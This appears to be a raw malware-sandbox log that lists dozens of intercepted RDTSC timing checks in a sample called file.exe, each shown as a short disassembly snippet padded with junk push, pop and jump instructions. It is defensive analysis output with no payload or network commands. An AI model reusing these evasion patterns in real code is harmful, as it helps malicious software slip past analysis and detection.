Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129E6B4 second address: 129E6C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F6940DA8846h 0x0000000a popad 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129E6C2 second address: 129E6E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop ecx 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007F6940DA84F2h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129E6E2 second address: 129E6E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129E6E6 second address: 129E6EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129E6EC second address: 129E6F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AC4EF second address: 12AC516 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F6940DA84E6h 0x0000000a jmp 00007F6940DA84F8h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AC516 second address: 12AC51A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AC088 second address: 12AC08C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AC21E second address: 12AC225 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AFD61 second address: 12AFDA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F6940DA84F4h 0x0000000a popad 0x0000000b jc 00007F6940DA850Dh 0x00000011 jmp 00007F6940DA84EEh 0x00000016 pushad 0x00000017 jmp 00007F6940DA84EFh 0x0000001c push eax 0x0000001d pop eax 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AF758 second address: 12AF75C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AF75C second address: 12AF779 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6940DA84E6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jns 00007F6940DA84EEh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B4522 second address: 12B4568 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F6940DA884Eh 0x0000000d jmp 00007F6940DA8857h 0x00000012 popad 0x00000013 pushad 0x00000014 jo 00007F6940DA8846h 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d popad 0x0000001e jbe 00007F6940DA8864h 0x00000024 pushad 0x00000025 push edx 0x00000026 pop edx 0x00000027 pushad 0x00000028 popad 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B4568 second address: 12B4570 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B4570 second address: 12B4576 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BCE22 second address: 12BCE6E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA84EEh 0x00000007 jmp 00007F6940DA84F9h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F6940DA84F5h 0x00000015 jmp 00007F6940DA84EAh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BCE6E second address: 12BCE80 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6940DA884Ch 0x00000008 jp 00007F6940DA8846h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BCE80 second address: 12BCE86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BCC44 second address: 12BCC6A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007F6940DA8858h 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jnp 00007F6940DA8846h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BCC6A second address: 12BCC70 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C0FC9 second address: 12C1034 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6940DA8857h 0x00000009 popad 0x0000000a push esi 0x0000000b jmp 00007F6940DA8851h 0x00000010 push edx 0x00000011 pop edx 0x00000012 pop esi 0x00000013 jns 00007F6940DA884Ch 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F6940DA8852h 0x00000021 jnc 00007F6940DA8859h 0x00000027 jmp 00007F6940DA8853h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C1034 second address: 12C105F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6940DA84F9h 0x00000008 jg 00007F6940DA84E6h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jnc 00007F6940DA84E6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C105F second address: 12C1063 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E8D46 second address: 11E8D4B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C7F15 second address: 12C7F1A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C7F1A second address: 12C7F22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C6A08 second address: 12C6A1A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jbe 00007F6940DA8846h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C6A1A second address: 12C6A1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C6A1E second address: 12C6A32 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F6940DA884Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C6A32 second address: 12C6A3C instructions: 0x00000000 rdtsc 0x00000002 js 00007F6940DA84ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C6BB5 second address: 12C6BE7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6940DA8856h 0x00000008 jl 00007F6940DA8846h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 jmp 00007F6940DA884Dh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C6EA6 second address: 12C6EB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 jns 00007F6940DA84E6h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C7C1F second address: 12C7C4B instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6940DA8846h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jnl 00007F6940DA8846h 0x00000011 jmp 00007F6940DA8859h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CB8B2 second address: 12CB8C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jo 00007F6940DA84F2h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CB8C2 second address: 12CB8CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F6940DA8846h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CB8CC second address: 12CB8FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA84F5h 0x00000007 pushad 0x00000008 jl 00007F6940DA84E6h 0x0000000e jnc 00007F6940DA84E6h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 pushad 0x0000001a jbe 00007F6940DA84ECh 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D65B4 second address: 12D65D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA8859h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E11FF second address: 12E1207 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E1207 second address: 12E1218 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F6940DA8846h 0x0000000a pop eax 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E1218 second address: 12E121E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E121E second address: 12E1223 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E1223 second address: 12E123D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 pop eax 0x00000005 jmp 00007F6940DA84EAh 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jc 00007F6940DA84E6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E123D second address: 12E1241 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EE4C5 second address: 12EE4E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA84F4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a jnl 00007F6940DA84E6h 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EE4E5 second address: 12EE501 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6940DA8858h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EE501 second address: 12EE505 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13070B5 second address: 13070BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F6940DA8846h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130720E second address: 1307226 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jnl 00007F6940DA84E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jbe 00007F6940DA84ECh 0x00000012 jbe 00007F6940DA84E6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130788F second address: 13078B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 jmp 00007F6940DA8855h 0x0000000d jp 00007F6940DA8846h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1307E55 second address: 1307E69 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007F6940DA84E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c js 00007F6940DA84F2h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1307E69 second address: 1307E6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13096EA second address: 13096F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13096F0 second address: 1309709 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6940DA8846h 0x00000008 jng 00007F6940DA8846h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push ecx 0x00000011 jne 00007F6940DA8846h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130C028 second address: 130C02C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130C02C second address: 130C036 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F6940DA8846h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130C036 second address: 130C044 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6940DA84EAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130C16E second address: 130C173 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130C3AF second address: 130C3BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jbe 00007F6940DA84ECh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130C3BC second address: 130C3F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 adc edx, 5D0716B3h 0x0000000c jmp 00007F6940DA884Eh 0x00000011 push 00000004h 0x00000013 mov edx, dword ptr [ebp+122D2A2Ch] 0x00000019 call 00007F6940DA8849h 0x0000001e push ebx 0x0000001f push eax 0x00000020 push edx 0x00000021 js 00007F6940DA8846h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130C3F0 second address: 130C41D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA84F2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F6940DA84F3h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130C41D second address: 130C452 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA8855h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push edi 0x0000000e jmp 00007F6940DA8850h 0x00000013 pop edi 0x00000014 mov eax, dword ptr [eax] 0x00000016 pushad 0x00000017 push ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B0B22 second address: 51B0B28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B0B28 second address: 51B0B2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B0B2C second address: 51B0B65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F6940DA84EEh 0x00000010 add eax, 28003BA8h 0x00000016 jmp 00007F6940DA84EBh 0x0000001b popfd 0x0000001c mov ax, B29Fh 0x00000020 popad 0x00000021 mov dword ptr [esp], ebp 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B0B65 second address: 51B0B6B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B0B6B second address: 51B0BB3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA84F6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F6940DA84EDh 0x00000014 sbb ax, 2126h 0x00000019 jmp 00007F6940DA84F1h 0x0000001e popfd 0x0000001f movzx ecx, dx 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0469 second address: 51A0481 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov esi, edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ebp, esp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6940DA884Ah 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0481 second address: 51A0487 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0487 second address: 51A048B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E06DF second address: 51E06E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 517015D second address: 5170163 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5170163 second address: 517017C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA84ECh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 517017C second address: 5170180 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5170180 second address: 5170186 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A00FB second address: 51A013D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA8851h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F6940DA884Eh 0x0000000f push eax 0x00000010 pushad 0x00000011 mov ecx, edi 0x00000013 mov dx, C450h 0x00000017 popad 0x00000018 xchg eax, ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F6940DA8852h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A013D second address: 51A019F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6940DA84F1h 0x00000009 and ax, 6F86h 0x0000000e jmp 00007F6940DA84F1h 0x00000013 popfd 0x00000014 mov edi, eax 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov ebp, esp 0x0000001b pushad 0x0000001c call 00007F6940DA84F8h 0x00000021 mov edi, ecx 0x00000023 pop eax 0x00000024 mov ecx, ebx 0x00000026 popad 0x00000027 pop ebp 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F6940DA84EBh 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A019F second address: 51A01A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A01A3 second address: 51A01A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190B62 second address: 5190B66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190B66 second address: 5190B6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190B6C second address: 5190BB5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA884Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov ax, di 0x00000011 pushfd 0x00000012 jmp 00007F6940DA8859h 0x00000017 xor esi, 52EA9A36h 0x0000001d jmp 00007F6940DA8851h 0x00000022 popfd 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190BB5 second address: 5190BBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190BBB second address: 5190BBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190BBF second address: 5190BDD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F6940DA84F1h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190BDD second address: 5190BE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190BE1 second address: 5190BE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190A73 second address: 5190A99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, di 0x00000006 call 00007F6940DA8853h 0x0000000b pop eax 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190A99 second address: 5190A9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190A9D second address: 5190AA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190AA3 second address: 5190ACF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6940DA84F9h 0x00000008 mov ecx, 73806EE7h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov ebp, esp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190ACF second address: 5190AD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190AD3 second address: 5190AD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
